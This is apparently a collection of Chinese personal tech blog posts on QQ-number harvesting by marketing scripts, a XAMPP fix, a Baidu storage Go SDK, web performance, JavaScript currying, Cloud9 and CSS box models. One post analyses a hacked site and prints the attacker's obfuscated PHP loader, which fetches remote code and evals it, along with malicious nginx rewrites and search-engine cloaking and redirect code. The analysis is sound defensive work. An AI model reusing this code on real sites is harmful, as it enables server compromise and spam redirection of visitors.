早上到公司,ZH说他昨天搜了一下有哪些开源的建站工具,今天早上就有一个建站的QQ加他好友,随口说了句是不是你乱填QQ号导致的,然后就没管了。没想到,下午我去google婚纱如何打包,点开了一个婚纱摄影网站里的一篇文章,看到文章没什么用就顺手把浏览器标签页关了。在我关掉的那一瞬间,奇迹发生了,这家婚纱店的企业QQ申请加我为好友了,瞬间一身冷汗。然后就把这个问题抛给了大企鹅的PM贝贝同学,让他内部反映问题去。
再然后,ZH和我就开始了对这个网站的扒皮工作,最后结果就是:卧槽,黑科技啊!

这个黑科技干的事情是:网站拿到访问者的QQ号码,然后该网站的营销QQ去主动加用户为好友,从而增加转化率。
这个事情里设计几个相关方:
1、普通网民,访问网站的人,以下简称访客。
2、被访网站,以下简称网站。
3、技术提供者,普通的网站去开发黑科技拿QQ号代价有点大,所以就有了一个技术提供者,他开发完,让普通网站去嵌入他们的代码就行。这个技术提供者在自己的官网里写的自己的核心技术就是拿访客QQ号,看来是靠这个吃饭的,我们今天要扒的就是他们是怎么干的。以下简称技术提供方。
4、腾讯。

整体流程是这样的:
1、访客之前应该登录了腾讯的Web产品,例如QQ邮箱之类,或者至少登录过腾讯的Web产品。我们没有测试清空QQ域cookie的情况,理论上应该拿不到QQ号了。
2、访客访问网站,网站加载技术提供方提供的js代码。
3、该js代码通过某种手段拿到用户的QQ号。
4、把QQ号传给技术提供方的服务器,技术提供方再通过其他方式通知网站的运营人员(很大可能是自动的),运营人员再来添加访客的QQ好友。
5、拿到QQ号之后,把QQ号放到Cookie中,下次访客再来时就不会再拿一遍了。

这几步里面,第三步是核心,下面详细分析到底怎么拿到QQ号,分两种情况,一种是用户处在腾讯产品的登录态,另外一种是曾经登录过腾讯的产品。
第一种:
技术提供者的JS首先向腾讯的一些域名发起请求,其中有一个重点请求,这个请求是腾讯课堂的某个课程页,在这个页面html里有访客的QQ号,解析出QQ号上报就行。时间有限,没有找到发起请求和解析QQ号的代码,个人猜测是在flash里做的。

1

11

第二种:
大致相同,但是这种情况下用户并没有登录,所以第一种情况里的html中不会有QQ号,但是腾讯有一个登录页面,这个页面是会保存用户的QQ账号的,所以拿到这个页面,解析一下也能拿到QQ号。

2

 

根本上说,这个问题是腾讯某些产品的漏洞造成的,所以不知道我这个问题报过去,大企鹅又有多少程序员过不好年,哈哈哈哈。如果大企鹅修复了这个问题,那个拥有“核心技术”的技术提供方估计就更加过不好年了,木哈哈哈哈。
原本就不是正当手段,而且还这么骚扰用户,就别干这事了。

理论上说腾讯只要判断一下referer就能防住这事,但是技术相关方拿的都是基础页内容,基础页的referer好像不太好做限制,加黑名单还行,做白名单估计不行。还有一个方法,就是页面自己判断自己是不是在一个正常的浏览器里,以及自己是不是在iframe里,如果不在正常浏览器里或者在iframe里就拒绝加载任何东西。不过也不是万全之策,因为这个要js来判断,js都加载了,基础页早加载了,在第一种情况下貌似防不住。再有就是,基础页的html里不要出现访客的qq号,这样他就没得拿了,不过这么改起来,企鹅的码农兄弟真的就不用过年了。

 

这是xampp和优胜美地的不兼容造成了,新版本的xampp已经修复了这个bug。对于不想升级xampp同时又想修复这个问题的同学,可以按照以下方式解决:
1、打开/Applications/XAMPP/xamppfiles/xampp进行编辑
2、找到这一行:$XAMPP_ROOT/bin/mysql.server start > /dev/null &
3、添加如下一行在找到的那一行上面:unset DYLD_LIBRARY_PATH,结果如下:
unset DYLD_LIBRARY_PATH
$XAMPP_ROOT/bin/mysql.server start > /dev/null &

然后即可启动mysql

参考:https://community.bitnami.com/t/mysqld-doesnt-start-in-mac-os-yosemite/25153/6

go-bcs-sdk

go-bcs-sdk是使用go语言实现的一个百度云存储的sdk。目前百度云存储官方提供PHP、Java、python和C/C++的版本(详见这里),本sdk为非官方实现,功能暂时只提供以下几个:

  • 创建object
  • 删除object
  • 下载object

由于工作中用到的部分只需要创建object并生成公共访问url,所以目前实现的功能仅仅够我用的,bucket操作、其他object操作等功能暂未实现。以后有时间的话会继续完善。代码托管在github上,地址为:https://github.com/zhujianfeng/go-bcs-sdk

安装

go get github.com/zhujianfeng/go-bcs-sdk

使用

引入

import "github.com/zhujianfeng/go-bcs-sdk"

初始化

ak := "your ak"
sk := "your sk"
host := "bcs server" //bcs的地址
pubhost := "bcs server" //object上传后生成访问地址重的域名,一般和host相同,在区分内外网时不同
baiduBCS := bcs.NewBaiduBcs(ak, sk, host, pubhost)

方法列表

创建object

func (bcs *BaiduBcs) CreateObject(bucket, object string, body []byte) (int, map[string][]string, string)
  • bucket:object所在的bucket,需要保证该bucket存在
  • object: 待创建的object
  • body: object的内容
  • 返回值分别为本次上传的http状态码、http头信息和object地址

根据文件路径创建object

func (bcs *BaiduBcs) CreateObjectByFile(bucket, object, path string) (int, map[string][]string, string)
  • bucket:object所在的bucket,需要保证该bucket存在
  • object: 待创建的object
  • path: object在本地的路径
  • 返回值分别为本次上传的http状态码、http头信息和object地址

根据文本内容创建object

func (bcs *BaiduBcs) CreateObjectByText(bucket, object, text string) (int, map[string][]string, string)
  • bucket:object所在的bucket,需要保证该bucket存在
  • object: 待创建的object
  • text: 文本内容
  • 返回值分别为本次上传的http状态码、http头信息和object地址

下载object

func (bcs *BaiduBcs) GetObject(bucket string, object string) ([]byte, error)
  • bucket:object所在的bucket,需要保证该bucket存在
  • object: 待下载的object
  • 返回值分别为object内容和错误信息

下载object并保存到文件

func (bcs *BaiduBcs) GetObjectAndSave(bucket, object, path string) error
  • bucket:object所在的bucket,需要保证该bucket存在
  • object: 待下载的object
  • path:object存到本地的文件路径
  • 返回值:错误信息

删除object

func (bcs *BaiduBcs) DeleteObject(bucket, object string) error 
  • bucket:object所在的bucket,需要保证该bucket存在
  • object: 待删除的object
  • 返回值:错误信息

License

使用 Apache License, Version 2.0.

Posted in go.

前几天一个同学说他们单位网站被黑了,主要表现为在百度上搜索他们网站+博彩关键字会出来一堆博彩页面的结果,点击这些结果先是到他们单位网站,然后就会立刻跳转到一个博彩网站。导致百度把他们网站给K了,清除干净这些博彩链接后才给恢复。
这个网站的webserver是nginx,脚本用的是php。同学查到了他们的nginx配置文件被修改过,增加了以下内容:

rewrite ^([^\.]*)/([a-z]+)-recommend/([0-9]+)/$ $1/m2o/api/flash.php?id=$2&user=$3 last;
rewrite ^([^\.]*)/([a-z]+)-([0-9]+)/$ $1/m2o/api/flash.php?id=$2&user=$3 last;
rewrite ^([^\.]*)hd/script/js.php$ $1/m2o/api/flash.php last;

这么看来是增加了几个rewrite规则,把某些特定pattern的请求转发到一个叫做flash.php的文件上去处理。同学又把这个flash.php发过来给我看了下,内容是:

<?php
$p = str_replace("lx","","slxtlxrlx_rlxelxplxlaclxe");
$q = str_replace("xw","","pxwrxwexwgxw_xwrxwexwpxwlxwaxwcxwe");
$r = str_replace("dz","","sdztdzrdz_dzrdzodztdz1dz3");
$a="aHR0cDovL2ZjLnJvYm90czguY29tL211L2FodHYudHh0";
$b = $p("cp", "", "bcpacpscpecp6cp4cp_cpdcpecpccpocpdcpe");

//$file = $b($a);
$file = 'http://www.886778.com/ahtv/ahtv.txt';
$code = file_get_contents($file);
@$q('/ba/e','@'.$r('riny').'($code)', 'bad');
?>

看上去是无比蛋疼的一段代码,全是字符串替换,没辙,一步步换,就看最后到底要换出个什么

<?php
//$p = str_replace("lx","","slxtlxrlx_rlxelxplxlaclxe");
$p = "str_replace";
//$q = str_replace("xw","","pxwrxwexwgxw_xwrxwexwpxwlxwaxwcxwe");
$q = "preg_replace";
//$r = str_replace("dz","","sdztdzrdz_dzrdzodztdz1dz3");
$r = "str_rot13";
$a="aHR0cDovL2ZjLnJvYm90czguY29tL211L2FodHYudHh0";
//$b = $p("cp", "", "bcpacpscpecp6cp4cp_cpdcpecpccpocpdcpe");
$b = "base64_decode";
//$file = $b($a);
$file = 'http://www.xxxxxxx.com/xxx/xxx.txt';
$code = file_get_contents($file);
@$q('/ba/e','@'.$r('riny').'($code)', 'bad');
?>

到这里其实还是啥都看不出,只是知道前面全是烟雾弹,几个函数名用得着这样么?类似这样继续换下去,最后知道真相的我眼泪掉下来,$code变量是从$file所指地址下载的一段文本($file的所指的真实地址这里隐去),前面换来换去只为得到四个字母:eval !他就是吧$code的内容放到eval里当做php代码执行。好吧,到这里很明了了,直接去看那个txt吧,内容依然是php代码。

$refer=$_SERVER['HTTP_REFERER'];
//if(!isset($_COOKIE['loginTime'])) {
//setcookie("loginTime",time(),time()+86400);
if(stristr($refer,"baidu.com")||stristr($refer,"sogou.com")||stristr($refer,"soso.com")||stristr($refer,"google.")||stristr($refer,"so.com")||stristr($refer,"360.")||stristr($refer,"bing.com")||stristr($refer,"youdao.com"))
{
$url="http://www.1128888.com";
Header('Location:'.$url);
exit();
}
//}
$a=$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"];
$file='http://fc.robots8.com/mu/index.php?url='.$a;
$referer=$_SERVER["HTTP_REFERER"];
$agent= strtolower($_SERVER["HTTP_USER_AGENT"]);
if(strstr($referer,"baidu")&&strstr($referer,"456"))
{
   Header("Location: $url");
}
if(ereg("http://www.baidu.com/search/spider.htm",$agent))
{
		$content=file_get_contents("$file");
		echo $content;
        exit;
}
echo"<html>\r\n"
  . "<head><title>403 Forbidden</title></head>\r\n"
  . "<body bgcolor=\"white\">\r\n"
  . "<center><h1>403 Forbidden</h1></center>\r\n"
  . "<hr><center>nginx</center>\r\n"
  . "</body>\r\n"
  . "</html>\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->";

这段代码才是真实工作的代码,干了很多事情。上面一部分就是负责从搜索结果页跳转到博彩网站的,代码首先判断来访者的refer,如果是从百度搜狗之类的网站跳转过来,refer里肯定有baidu.com,sogou.com之类的字样,
遇到这样的就直接调用header()函数给浏览器发送个302跳转到那个1228888为域名的博彩网站去,这就好解释开头提到的现象了。但是,还有一个问题没搞清楚,搜索结果页的快照是从该单位的网站上抓的,但是内容确实博彩网站的内容,为啥捏。
上面这段代码再往下看,又出现了一个$file,又一个地址,不多说,直接看这个地址里是啥,代码里有参数,但是我试了下不加参数也能访问,内容就是那个博彩网站的文本内容,用这个来当网页快照真是再合适不过了。
所以,后面这段代码就开始针对百度的爬虫做坏事了,只要是百度爬虫过来,就把这段文本内容给爬虫,这是欺负我们家的spider的么?当然,如果是正常浏览器访问,这段代码就伪装成403。
好吧,到这里就可以粗略理一下整个利用过程了。在攻击者把配置文件修改好并且把这段代码放到服务器上之后,就想办法告诉百度爬虫,这个网站上有博彩内容。告诉的方法可以有很多种,比如直接到百度去提交,或者在另外一个网站上加个链接之类。
对于爬虫来说,他不知道这是什么内容,只知道这是以前没有发现过的新内容,在加上这个网站原来还是个优质网站,那就赶紧把这些新内容爬下来。由于url是经过rewrite的,单纯从url上看,这些多出来的内容说不定是该网站的一个新频道呢。
再然后,当用户在百度上搜索博彩相关内容的时候,这些结果就出现了。当然,博彩网站本身肯定是会被百度K掉的,所以他才会把自己假装成一个优质网站的一个频道,这样百度就收录了,好聪明,借尸还魂。
再继续,用户点击这些结果时,自然是只会跳转到我同学维护的网站,但是却被上面的代码巧妙的给跳走了,流量就到了真正的博彩网站。

解决方法也挺简单,干掉nginx配置文件中被修改的部分,干掉这个flash.php,堵住机器漏洞,防止再次被黑,基本上就ok了。

最近因为虚拟主机太贵,所以就给降级了,把带宽从3M降到1M,价格是便宜了不少,但是整站的加载速度却变慢很多,F12看一下,时间大部分都在加载图片上。所以就有了把图片等附件放到百度云上的想法,这样就可以把带宽压力的大部分分出去。

网上搜一把就发现使用百度云存储wordpress附件这个事情已经有人做了插件,下下来看了一下,功能基本满足需求。美中不足的是这个插件设置完成后需要把数据库中文章的内容改掉,也就是把文章中的图片等附件链接改成百度云上附件的地址。这样做的坏处是,万一哪天不想使用百度云了,还需要手动到数据库中把url都改回来。

所以我就稍微给插件加了一个小功能,在系统显示文章内容之前,使用一个filter把内容中的图片地址替换成百度云中的地址,这样就不用动数据库中的内容,哪天不想使用百度云存附件了,只需要把插件停了就行。

插件原地址:http://mawenjian.net/p/976.html,向原作者表示感谢。

修改后的插件可以在这里下载:http://pan.baidu.com/share/link?shareid=412052&uk=2131098973

Posted in PHP.

用户使用网站,就像一个女神好不容易来了兴致和一个屌丝约会,如果屌丝迟到让女神等上半天,那么这个屌丝就只好一辈子屌丝了。毫无疑问,在互联网上,网站是屌丝,用户们是女神,如何让网页迅速呈现在用户面前是众屌丝们必须要注意的问题。假设某屌丝跟女神约会迟到了,这个时候需要迅速找到原因定位问题,然后才能解决问题向下一个女神进攻。
如何识别站点的性能问题呢,事实上不是太难,你只需要一个可视化页面加载过程的工具就行了,这个工具呈现出来的内容叫做瀑布图。如果你有firefox,那么装上一个叫做firebug的工具就OK,如果你用Chrome,直接按F12即可。当然还有一些网站性能分析站点也会提供这些工具,例如webpagetest.org。好了,下面一个个介绍十种性能问题的模式:

 

1、后端性能太差


后端是啥?后端就是你网站的Web服务端,包括Web服务器(apache,nginx)、动态脚本(php,jsp,cgi)和数据库等。上图中第一行明显比其他行要长的多,这种情况一般是后端问题影响的性能。正常情况下,第一行要非常的短。瀑布图中,第一行往往代表整个网页的基础页请求,也就是页面的骨架,大多数情况下基础页是由后端动态生成的。其他行代表页面元素请求,也就是图片、JS、CSS等,通常这些请求是静态的,所以第一行远远长于其他行证明动态请求慢于静态请求,也就是后端性能太差造成的。

 

2、请求数太多


瀑布图中,一行代表一个http请求,如果一个瀑布图有太多太多行,滚动了好几屏都看不完,那么,这个站点的请求数就太多了。极端一点说,一个站点的请求数越少越好,毕竟http请求是很耗时的一件事情,看看各大搜索引擎的首页就知道了。但是并不是所有页面都需要像搜索引擎那样简洁的,个位数的请求不大可能,那最好也别超过百位数,尽量五十以下吧。可以使用诸如JS合并、CSS合并、CSS精灵图片、数据URI等技术来降低请求数。

3、单一坏请求


看一下上图箭头所指的请求,它比所有其他请求都长,而且还长出至少一个数量级,和其他请求相比,这个请求就显得有点“坏”。单一坏请求可能是一个图片、JS、CSS,或者是指向第三方网站的任何请求,虽然这只是一个请求,但是它足以拖慢你整个页面的加载速度。导致这个问题的原因有很多种,可能是网络问题、可能是请求本身过大,总之,找到原因,干掉它。

4、网络层问题(DNS或者连接问题)


仔细看一下一个单独的http请求,他们会分为好几段,分别是域名解析、建立连接、发送请求、等待响应和接收数据几个阶段。理论上域名解析和建立连接应该占用的时间很小才对,主要的时间应该用在后面几个阶段上。上图中,蓝色和绿色分别代表域名解析和建立连接,可以看出几个请求中花费在网络层上的时间太长了,超过总时间的一半还要多。网络层时间过长除了可能和底层网络有关之外,还可能和你站点的服务端性能有关。当然,如果这种情况发生在向第三方站点发送的请求上(实际上也经常发生),估计你就需要考虑是不是要取消或者更换某些站点功能从而避免这样的请求了。

5、接收数据时间过长


第四点中提到,http请求的大部分时间应该花在后面几个阶段,比如等待响应和接收数据。但是,如果接收数据的时间太长了,长到数百毫秒甚至以秒计算的时候,那也是有问题的。这种情况一般是因为下载的内容太重了,例如大图片、大脚本等。这类问题可以使用GZIP压缩、图片压缩或者JS/CSS的minify等手段来解决。

6、JS阻塞请求


理想中,瀑布图应该是平滑的一路排下来,相邻请求之间的时间差不应该太大。但是经常会出现上图红框中的情况,两个请求之间开了一个很大的口子。这种情况通常是JS造成的,因为JS具有阻塞加载的特性,所以应该尽量想办法让js无阻塞异步的加载。本站的JS可以使用例如require.js之类的AMD的类库,第三方JS也应尽量将引用放到页面最后,或者使用其他办法强制异步加载。

7、错误请求


每一个http请求都是很耗时间的,当你的站点中出现错误的请求就意味着这个请求对于页面展现和用户体验没有任何帮助,所以尽量不要出现错误请求。查看一个请求是不是有错误可以从http状态码上查看,状态码为4xx的请求表示浏览器端犯了一些错误导致服务器不能正常处理,最常见的就是404 not found。状态码为5xx的请求表示服务器端在处理请求的过程中发生了一些错误,最常见的就是500错误,服务端程序发生故障。

8、顺序问题

默认情况下,瀑布图从上到下的请求顺序也表示了请求的先后顺序,在上面的请求是先发起的。对于一个页面而言,应该让重要的请求先发起,不重要的留在后面。比如,企业网站的公司logo应该先发起请求,而页面上的一些“分享到微博”之类的按钮和站点访问统计代码应该后发起请求,尽量保证用户看得到的重要的内容先发起请求。

 

9、“吵闹”的第三方请求


为了让用户分享你的网站内容,所以你给自己的网站装了一个分享插件,可以一键将你的内容分享到微博、空间、人人等等各个社交网站,但是该插件发起了数十个请求,在你的网站加载瀑布图中,这些第三方请求显得很“吵闹”。这些请求大大增加了你页面加载的请求数,降低了用户体验,所以想办法换一个“不吵”的插件也许是个好办法。

10、开始渲染时间太长

这个问题从瀑布图里看不出来,但是你可以直观的感受到。从你在地址栏里输入网址敲回车开始,到你看到屏幕上出现第一部分网页内容,这中间空白屏幕持续的时间大致可以理解为开始渲染时间。哪怕用户第一眼只看到了一个logo,他也知道页面加载时OK的,他会继续等下去。如果开始渲染时间太长,用户一直看着空白屏幕,他很有可能会关掉这个标签页然后打开竞争对手的网站了。开始渲染时间同样是越短越好,瞬间呈现才会让你的女神感觉很爽。

 

(本文主要参考国外著名性能优化网站yottaa的官方博客中的一篇文章,原本打算直接翻译,无奈本人英语太差,就参考着写一下大意再加上自己的一些理解,文中图片也来自原文,英文好的同学就直接移步英文原文好了:http://www.yottaa.com/blog/bid/248349/How-To-Identify-10-Performance-Patterns-in-10-Seconds)

柯里化(currying),维基百科的解释是“在计算机科学中,柯里化(Currying),是把接受多个参数的函数变换成接受一个单一参数(最初函数的第一个参数)的函数,并且返回接受余下的参数而且返回结果的新函数的技术。这个技术由 Christopher Strachey 以逻辑学家 哈斯凯尔·加里 命名的,尽管它是 Moses Schönfinkel 和 Gottlob Frege 发明的。”(http://zh.wikipedia.org/wiki/Currying)

微博上看到一群大牛们在说currying的事情,所以自己实现了一个把给定函数给柯里化的方法:

function curry(fn) {
    var args = [];
    var argLen = fn.length;
    var currying = function(){
    	for (var i  = 0; i < arguments.length; i++) {
            args.push(arguments[i]);
        }
        if (args.length >= argLen) {
        	return fn.apply(this, args);
        } else {
        	return currying;
        }
    }
    return currying;
}

/*以下测试*/
function fn(arg1, arg2, arg3, arg4) {
	return arg1 + arg2 + arg3 + arg4;
}
f = curry(fn);
f(1,2)(3)(4);

结果如下:

搜索了一下,发现在2007年,大牛winter就有currying的实现(http://bbs.51js.com/forum.php?mod=viewthread&tid=74706),代码如下:

function currying(func)
{
    return function()
    {
        if(arguments.length<func.length)
        {
            var args=arguments;
            var retarg=new Array(func.length-arguments.length);
            for(var i=0;i<retarg.length;i++)retarg="_"+i;
            eval("var ret=function("+retarg+"){return args.callee.apply(this,Array.prototype.slice.call(args).concat(Array.prototype.slice.call(arguments)));}");
            return currying(ret);
        }
        else return func.apply(this,arguments);
    }
}
/////////////////////////////////////////////////////////////////////////////////////////
function f(a,b,c)
{
    alert([a,b,c]);
}
var cuf=currying(f);
cuf(1)(2)(3);

微博上看到有讨论cloud9的,抱着尝鲜的态度装了一下试试。
cloud9是一个web的IDE,后端基于node.js构建,前端基于html5打造,貌似很牛叉的样子。
我的服务器操作系统是ubuntu12.04,安装过程还算比较顺利。
第一步,准备环境。由于基于node.js,所以要先把node环境装好,当然黄金搭档npm也要装好。

sudo apt-get install python-software-properties
sudo add-apt-repository ppa:chris-lea/node.js
sudo apt-get update
sudo apt-get install nodejs npm

上面的步奏是先添加ubuntu的ppa源,然后更新源,再安装。我在这一步上耗费了大量时间,主要是国内连ppa源太慢了,蛋碎一地。

第二步:安装git和其他依赖包。由于是从github上clone源码出来的,所以需要先把git装好。谁让我的机器是裸机呢,连make都没装过。

sudo apt-get install git
sudo apt-get install libxml2-dev make

第三步,clone代码并安装。

npm install -g sm
git clone https://github.com/ajaxorg/cloud9.git cloud9
cd cloud9
sm install

这一步也很消耗时间,因为源码有差不多100M,从github上clone出来也挺慢的。

然后,就可以运行了,新建一个目录,便于指定为工作目录

bin/cloud9.sh -l 127.0.0.1 -w ~/workspace -s

-l指定的是监听的ip地址,如果想其他机器能够访问,这里不能指定成127.0.0.1,要指定成对外的地址,-w指定的就是工作目录了。

最后终于见到IDE长什么样了,UI设计还行,就是不太稳定,而且还有各种搞不懂,不明白它的“run”到底是一个什么机制,折腾了很久没run起来一个hello world,只有html倒是可以预览。

参考:

https://github.com/joyent/node/wiki/Installing-Node.js-via-package-manager

https://github.com/ajaxorg/cloud9

最近发现一个问题,在给input设置边框宽度和高度的时候,在不同的浏览器下表现不同,整了很久,这里整理一下发出来。首先说一下,本文只讨论作为行内替换元素的input,且type为text的输入框。其他input类型没有做实验,块元素也不在讨论范围内。

正式讲问题之前要先讲一下css的盒模型,盒模型有W3C的标准盒模型和IE盒模型两种,两者的区别在于如何定义height和width。在W3C标准盒模型中height指的是内容区的高度,在内容区之外还有padding-top,padding-bottom,border-top,border-bottom,margin-top,margin-bottom,也就是说指定的高度就是内容区的高度,不会因为边框的粗细导致内容区的高度变化。而在IE盒模型中,height指的是内容区高度加上padding-top,padding-bottom再加上border-top,border-bottom的高度,一旦指定了height,当让边框变得更粗时,内容区高度就会变的更小。同样的,width的计算也类似。两种盒模型如最后附注所示。

好了,现在开始讲问题。当网页不指定DOCTYPE的时候,不同浏览器对text类型的input使用何种类型的盒模型是由浏览器自己决定的,为了搞清楚浏览器都怎么处理,使用以下代码在Windows平台上做了实验:

<html>
<head>
  <title>border test</title>
  <style type="text/css">
  	#input1 {
  		background-color: yellow;
  		width:200px;
  		height:50px;
  		border:5px solid #000;
  	}
  	#input2 {
  		background-color: yellow;
  		width:200px;
  		height:50px;
  		border: 0px;
  	}
  </style>
</head>
<body>
	<input type="text" id="input1" />
	<input type="text" id="input2" />
</body>
</html>

这段代码主要是放置了两个高度为input,给其中一个设置5像素宽的边框,然后比较两者的高度。
实验结果如下表:

从图中可以看出,chrome,firefox,safari和IE6一样,使用的是IE盒模型,而IE7到IE10使用的均是W3C盒模型(当然,从图中看IE7的行内对齐可能和IE8以上不同)。也就是说,我给input设置了50像素的高度,在chrome、firefox、safari和IE6下,内容区高度会被减去边框的10像素,只有40像素,而在IE7到IE10中,内容区高度就是50像素。
但是,如果一旦给网页指定doctype,也就是在网页第一行加上这么一行(当然也可以使用html5的标记,只是这样IE6就不认识了),结果就不一样了。如下图:

从这里可以看出,所有的浏览器都是使用W3C盒模型的,只是IE6和IE7在行内对齐上有一些不同。

总结一下,为了避免踩坑,最好给网页指定doctype,这样就都符合w3c标准了。同时,没搞清楚的是为什么chrome、firefox、safari在未指定doctype情况下会使用IE盒模型,还望有高人解答。

附:两种盒模型(图片来源网络)

Posted in css.